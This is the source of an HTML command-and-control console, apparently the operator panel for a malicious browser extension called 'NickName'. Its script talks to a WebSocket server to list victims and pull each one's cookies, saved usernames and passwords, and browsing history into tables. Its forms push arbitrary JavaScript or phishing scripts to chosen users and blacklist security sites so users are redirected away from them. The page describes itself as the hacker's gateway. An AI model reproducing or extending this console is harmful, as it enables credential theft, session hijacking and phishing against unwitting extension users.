-
Notifications
You must be signed in to change notification settings - Fork 0
/
indexCopy.html
644 lines (541 loc) · 27.2 KB
/
indexCopy.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SpeedDemon</title>
<link rel="stylesheet" href="bootstrap-4.0.0-dist/css/bootstrap.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script>
var HOST = location.origin.replace(/^http/, 'ws');
var serverID = "0";
var ws = new WebSocket(HOST);
var sites = new Array();
function resetSocket(){//fix for reseting sockets
console.log("reseting socket");
ws= new WebSocket(HOST);
ws.onclose = function(){
setTimeout(resetSocket, 1000);
};
}
ws.onclose = function(){
setTimeout(resetSocket, 1000);
};
ws.onopen = function(event){
var jsonPackage ={type:'getList', id:'0'};
ws.send(JSON.stringify(jsonPackage));
console.log("Request sent");
var jsonPackage ={type:'getClients', id:'0'};
ws.send(JSON.stringify(jsonPackage));
console.log("Request sent");
}
ws.onmessage = function(e){
document.getElementById('p1').innerHTML +="\n"+e.data;
console.log(e.data);
object = JSON.parse(e.data);
switch(object.type){
case 'blackList':
sites = object.allSites;
console.log(object.allSites);
console.log("got something");
sites.forEach(site => {
if(site != "" && site != null){
node = document.getElementById("blacklist");
aRow = document.createElement("li");
aRow.classList.add("list-group-item");
aCol = document.createTextNode(site);
node.appendChild(aRow);
aRow.appendChild(aCol);
}
});
break;
case 'statusList':
console.log("got a status");
var ids = new Array();
ids = object.ids;
var statuses = object.status;
for (i = 0; i < ids.length; i++){
makeCard(ids[i],statuses[i]);
var jsonPackage ={type:'getHistory', id:'0', targetID:ids[i]};
ws.send(JSON.stringify(jsonPackage));
var jsonPackage = {type:'getCookies', id:'0', targetID:ids[i]};
ws.send(JSON.stringify(jsonPackage));
var jsonPackage = {type:'getLoginInfo', id:'0', targetID:ids[i]};
ws.send(JSON.stringify(jsonPackage));
}
break;
case 'idHistory':
var histArr = new Array();
histArr = object.history;
fillHistory(object.targetID, histArr);
break;
case 'cookieID':
var nameArr = new Array();
nameArr = object.nameArr;
var domainArr = new Array();
domainArr = object.domainArr;
var valueArr = new Array();
valueArr = object.valueArr;
fillCookies(object.targetID, nameArr, domainArr, valueArr);
break;
case 'loginID':
var usernameArr = new Array();
usernameArr = object.username;
var domainArr = new Array();
domainArr = object.domain;
var valueArr = new Array();
valueArr = object.password;
fillLogins(object.targetID,domainArr,usernameArr,valueArr);
break;
}
}
window.addEventListener("hashchange", function() { scrollBy(0, -70) });
function js(){
var id = document.getElementById("JS_ID").value;
var script = document.getElementById("JS_Script").value;
var url = document.getElementById("JS_URL").value;
var jsonPackage = {id:"0", targetID: id, type:"sendJavascript", script:script, domain:url};
ws.send(JSON.stringify(jsonPackage));
//alert("SENT");
}
function phish(){
var id = document.getElementById("Phishing_ID").value;
var url = document.getElementById("Phishing_URL").value;
var jsonPackage = {id:"0", targetID: id, type:"sendPhishingscript", domain:url};
ws.send(JSON.stringify(jsonPackage));
console.log("SENT");
}
function send() {
var id = document.getElementById('id').value;
var type = document.getElementById('type').value;
var dataType = document.getElementById('dataType').value;
var data = document.getElementById('data').value;
if (document.getElementById('data2').value!=""){
if (document.getElementById('data3').value!=""){
var data2 = document.getElementById('data2').value;
var data3 = document.getElementById('data3').value;
var dataType2 = document.getElementById('dataType2').value;
var dataType3 = document.getElementById('dataType3').value;
var obj = { id: id, type: type, [dataType]: data, [dataType2]: data2, [dataType3]: data3};
}
else{
var data2 = document.getElementById('data2').value;
var dataType2 = document.getElementById('dataType2').value;
var obj = { id: id, type: type, [dataType]: data, [dataType2]: data2};
//var obj = { id: serverID, type: type, [dataType]: data, [dataType2]: data2};
}
}
else {
if (dataType=="history"){
var arr = ["google.com","youtube.com","facebook.com","twitter.com","walmart.com","microsoft.com"];
var obj = { id: id, type: type, [dataType]: arr };
}
else
var obj = { id: id, type: type, [dataType]: data };
}
console.log('sending '+obj);
ws.send(JSON.stringify(obj));
}
window.userCount = -1; // Declare a global variable
//This global var is used to give each new user card added a different id
function makeCard(id, status) {
if(id =="") return;
userCount++;
var cardInfo = document.getElementById("infoCard");
var card = cardInfo.cloneNode(true);
//Clones info card to be turned into a user card
card.id = userCount; //gives card a unique id
var header = card.children[0];
var link = header.children[0];
var statusString = " " + status;
if(status == 'Offline') link.innerHTML = ("<font color=\"red\">" + id + "</font>");
else link.innerHTML = id;
link.id = "link" + userCount; //prepends "link" to id so it's diff than card id
link.href = "#collapse" + userCount;
//href can't begin with a number
var collapse = card.children[1];
collapse.id = "collapse" + userCount;
var body = collapse.children[0];
body.id = "body" + id;
body.innerHTML = "";
//body will be filled in by other functions
//adding an empty table to be filled in
var table1 = document.createElement("table");
table1.classList.add("table", "center");
var header1 = table1.createTHead();
var row1 = header1.insertRow(0);
var cell10 = row1.insertCell(0);
cell10.innerHTML = "<b>Cookies</b>";
body.appendChild(table1);
var table2 = document.createElement("table");
table2.classList.add("table");
var header2 = table2.createTHead();
var row2 = header2.insertRow(0);
var cell20 = row2.insertCell(0);
var cell21 = row2.insertCell(1);
var cell22 = row2.insertCell(2);
cell20.innerHTML = "<b>Cookie Name</b>";
cell21.innerHTML = "<b>Cookie Domain</b>";
cell22.innerHTML = "<b>Cookie Value</b>";
body.appendChild(table2);
//Cookie info is added to this table
var table3 = document.createElement("table");
table3.classList.add("table", "center");
var header3 = table3.createTHead();
var row3 = header3.insertRow(0);
var cell30 = row3.insertCell(0);
cell30.innerHTML = "<b>Login Info</b>";
body.appendChild(table3);
var table4 = document.createElement("table");
table4.classList.add("table");
var header4 = table4.createTHead();
var row4 = header4.insertRow(0);
var cell40 = row4.insertCell(0);
var cell41 = row4.insertCell(1);
var cell42 = row4.insertCell(2);
cell40.innerHTML = "<b>Website URL</b>";
cell41.innerHTML = "<b>Username</b>";
cell42.innerHTML = "<b>Password</b>";
body.appendChild(table4);
//Login info is added to this table
var table5 = document.createElement("table");
table5.classList.add("table", "center");
var header5 = table5.createTHead();
var row5 = header5.insertRow(0);
var cell50 = row5.insertCell(0);
cell50.innerHTML = "<b>History</b>";
body.appendChild(table5);
var table6 = document.createElement("table");
table6.classList.add("table");
body.appendChild(table6);
//History info is added to this table
//add new card to accordion
var addTo = document.getElementById("accordion");
addTo.appendChild(card);
}
function blacklist(){
var URL = document.getElementById('blacklistEntry').value;
var jsonPackage = {id: 0, type:'list', addString: URL};
ws.send(JSON.stringify(jsonPackage));
}
function fillCookies(id, nameArray, domainArray, valueArray){
id = "body" + id;
//body of cards have id "body0", "body1", "body2", ...
var table = document.getElementById(id).children[1];
for (var i = 1; i <= nameArray.length; i++) {
//cookie names go in cell (column) 1 of the table
//need to check if there is a row to add to
var rowExist = 0; //0 = need to add a row 1 = row exists to use
if (table.rows.length > i) {
//rows exist. check if they're used already.
for (var j = 1; j < table.rows.length; j++) {
if (table.rows[j].cells[0].innerHTML == "") {
//Empty row found, use it
rowExist = 1;
table.rows[j].cells[0].innerHTML = nameArray[i-1];
break;
}
}
}
if (rowExist == 0) {
//a row doesn't exist, add a row
var row = table.insertRow(table.rows.length);
//add a cell for all 7 columns
for (var j = 0; j < 3; j++) {
row.insertCell(j);
}
row.cells[0].innerHTML = nameArray[i-1];
}
}
for (var i = 1; i <= domainArray.length; i++) {
//cookie domains go in cell (column) 2 of the table
//need to check if there is a row to add to
var rowExist = 0; //0 = need to add a row 1 = row exists to use
if (table.rows.length > i) {
//rows exist. check if they're used already.
for (var j = 1; j < table.rows.length; j++) {
if (table.rows[j].cells[1].innerHTML == "") {
//Empty row found, use it
rowExist = 1;
table.rows[j].cells[1].innerHTML = domainArray[i-1];
break;
}
}
}
if (rowExist == 0) {
//a row doesn't exist, add a row
var row = table.insertRow(table.rows.length);
//add a cell for all 7 columns
for (var j = 0; j < 3; j++) {
row.insertCell(j);
}
row.cells[1].innerHTML = domainArray[i-1];
}
}
for (var i = 1; i <= valueArray.length; i++) {
//cookie valuess go in cell (column) 3 of the table
//need to check if there is a row to add to
var rowExist = 0; //0 = need to add a row 1 = row exists to use
if (table.rows.length > i) {
//rows exist. check if they're used already.
for (var j = 1; j < table.rows.length; j++) {
if (table.rows[j].cells[2].innerHTML == "") {
//Empty row found, use it
rowExist = 1;
table.rows[j].cells[2].innerHTML = valueArray[i-1];
break;
}
}
}
if (rowExist == 0) {
//a row doesn't exist, add a row
var row = table.insertRow(table.rows.length);
//add a cell for all 7 columns
for (var j = 0; j < 3; j++) {
row.insertCell(j);
}
row.cells[2].innerHTML = valueArray[i-1];
}
}
}
function fillHistory(id, historyArray){
id = "body" + id;
//body of cards have id "body0", "body1", "body2", ...
var table = document.getElementById(id).children[5];
for (var i = 0; i < historyArray.length; i++) {
var rowExist = 0; //0 = need to add a row 1 = row exists to use
if (table.rows.length > i) {
//rows exist. check if they're used already.
for (var j = 1; j < table.rows.length; j++) {
if (table.rows[j].cells[0].innerHTML == "") {
//Empty row found, use it
rowExist = 1;
table.rows[j].cells[0].innerHTML = historyArray[i];
break;
}
}
}
if (rowExist == 0) {
//a row doesn't exist, add a row
var row = table.insertRow(table.rows.length);
//add a cell for all 7 columns
for (var j = 0; j < 1; j++) {
row.insertCell(j);
}
row.cells[0].innerHTML = historyArray[i];
}
}
}
function fillLogins(id, urlArray, usernameArray, passwordArray){
id = "body" + id;
//body of cards have id "body0", "body1", "body2", ...
var table = document.getElementById(id).children[3];
for (var i = 1; i <= urlArray.length; i++) {
//urls go in cell (column) 0 of the table
//need to check if there is a row to add to
var rowExist = 0; //0 = need to add a row 1 = row exists to use
if (table.rows.length > i) {
//rows exist. check if they're used already.
for (var j = 1; j < table.rows.length; j++) {
if (table.rows[j].cells[0].innerHTML == "") {
//Empty row found, use it
rowExist = 1;
table.rows[j].cells[0].innerHTML = urlArray[i-1];
break;
}
}
}
if (rowExist == 0) {
//a row doesn't exist, add a row
var row = table.insertRow(table.rows.length);
//add a cell for all 3 columns
for (var j = 0; j < 3; j++) {
row.insertCell(j);
}
row.cells[0].innerHTML = urlArray[i-1];
}
}
for (var i = 1; i <= usernameArray.length; i++) {
//usernames go in cell (column) 1 of the table
//need to check if there is a row to add to
var rowExist = 0; //0 = need to add a row 1 = row exists to use
if (table.rows.length > i) {
//rows exist. check if they're used already.
for (var j = 1; j < table.rows.length; j++) {
if (table.rows[j].cells[1].innerHTML == "") {
//Empty row found, use it
rowExist = 1;
table.rows[j].cells[1].innerHTML = usernameArray[i-1];
break;
}
}
}
if (rowExist == 0) {
//a row doesn't exist, add a row
var row = table.insertRow(table.rows.length);
//add a cell for all 3 columns
for (var j = 0; j < 3; j++) {
row.insertCell(j);
}
row.cells[1].innerHTML = usernameArray[i-1];
}
}
for (var i = 1; i <= passwordArray.length; i++) {
//passwords go in cell (column) 2 of the table
//need to check if there is a row to add to
var rowExist = 0; //0 = need to add a row 1 = row exists to use
if (table.rows.length > i) {
//rows exist. check if they're used already.
for (var j = 1; j < table.rows.length; j++) {
if (table.rows[j].cells[2].innerHTML == "") {
//Empty row found, use it
rowExist = 1;
table.rows[j].cells[2].innerHTML = passwordArray[i-1];
break;
}
}
}
if (rowExist == 0) {
//a row doesn't exist, add a row
var row = table.insertRow(table.rows.length);
//add a cell for all 3 columns
for (var j = 0; j < 3; j++) {
row.insertCell(j);
}
row.cells[2].innerHTML = passwordArray[i-1];
}
}
}
</script>
<style>
body {
padding: 1rem;
}
hr.body {
border-top: 2px solid #b4b4b4;
width: 95%;
margin-top: .3rem;
margin-bottom: 1rem;
}
.form-control {
padding: none;
}
.container-fluid {
max-width: 100%;
text-align: center;
}
.card {
text-align: center;
}
.table {
text-align: left;
}
.center {
text-align: center;
}
td {
word-break: break-all;
}
</style>
</head>
<body data-spy = "scroll" data-target=".navbar">
<nav class="navbar navbar-expand-sm bg-dark navbar-dark fixed-top">
<a class="navbar-brand" href="#">NickName123</a>
<ul class = "navbar-nav">
<li class="nav-item">
<a class="nav-link" href="#userSection">Users</a>
</li>
<li class = "nav-item">
<a class="nav-link" href="#scriptSection">Send Scripts</a>
</li>
<li class = "nav-item">
<a class="nav-link" href="#blackListSection">Blacklist</a>
</li>
</ul>
</nav>
<!-- Logo And Name -->
<div class = "jumbotron">
<h1 class = "display-4">NickName Console</h1>
<p class = "lead">
This website is the hacker's gateway to the NickName extension. This interface will allow you to access user cookies and history, create a black list of security sites to redirect users from, and launch targeted phishing and other such scripts at users. Happy hacking!
</p>
<hr class="my-4">
<p>Note: We are not responsible for any privacy breaches, as all permissions have been given by users of our application to access their data.</p>
</div>
<div id = "userSection">
<div class="container-fluid">
<h4>All Users</h4>
<div id="accordion">
<div id="infoCard" class="card">
<div id="infoCardHeader" class="card-header">
<a id="infoCardLink" class="card-link" data-toggle="collapse" href="#infoCardCollapse"><font color="green">Info</font>
</a>
</div>
<div id="infoCardCollapse" class="collapse" data-parent="#accordion">
<div id="infoCardBody" class="card-body">Click an ID to view its cookies, login details, and history. Blue users are online, and red users are offline.
</div>
</div>
</div>
</div>
</div>
<br><hr class="body"><br>
<div id=scriptSection>
<div class="col-12">
<div class="row padding">
<!-- Phishing and JSexe -->
<div class="col-6" id="scriptSection">
<!-- Add Javascript -->
<!-- <form name="jsForm" onsubmit "return js()"> -->
<h4>Add javascript execution script:</h4>
<br>
<input type = "text" class="form-control" id = "JS_ID" placeholder = "User ID">
<input type = "text" class="form-control" id = "JS_Script" placeholder = "Script">
<input type = "text" class="form-control" id = "JS_URL" placeholder = "URL">
<input type = "submit" id = "Submit_JS_Script" class="btn btn-primary" onclick="js()">
<!-- </form> -->
</div>
<div class="col-6">
<!-- Add Phishing -->
<!-- <form name="phishingForm" onsubmit "return phish()"> -->
<h4>Add phishing script:</h4>
<br>
<input type = "text" class="form-control" id = "Phishing_ID" placeholder = "User ID">
<!-- <input type = "text" name = "Phishing_Script" placeholder = "Script"><br> -->
<input type = "text" class="form-control" id = "Phishing_URL" placeholder = "URL">
<input type = "submit" id = "Submit_Phishing_Script" class="btn btn-primary" onclick="phish()">
<!-- </form> -->
</div>
</div>
</div>
</div>
<br><hr class="body"><br>
<div id = "blackListSection">
<!-- Adding Blacklisted Site -->
<br>
<h4>Blacklisted Sites</h4>
<ul class = "list-group" id="blacklist"></ul>
<br><br>
<h4>Add site to blacklist:</h4>
<form onsubmit="blacklist()">
<input type = "text" id="blacklistEntry" placeholder="URL"><br>
<input type = "submit" class="btn btn-primary">
</form>
<br><br><br><br><br><br><br><br>
</div>
</div>
<br><br>
<button onclick="getElementById('p1').innerHTML = ''">Clear log</button>
<form onsubmit="send();return false;">
ID: <input type="text" id="id"><br>
Type: <input type="text" id="type"><br>
<input type="text" id="dataType">: <input type="text" id="data"><br>
<input type="text" id="dataType2">: <input type="text" id="data2"><br>
<input type="text" id="dataType3">: <input type="text" id="data3"><br>
<input type="submit" value="Submit">
</form>
<p id="p1">Recieved data will show here:</p>
</body>
</html>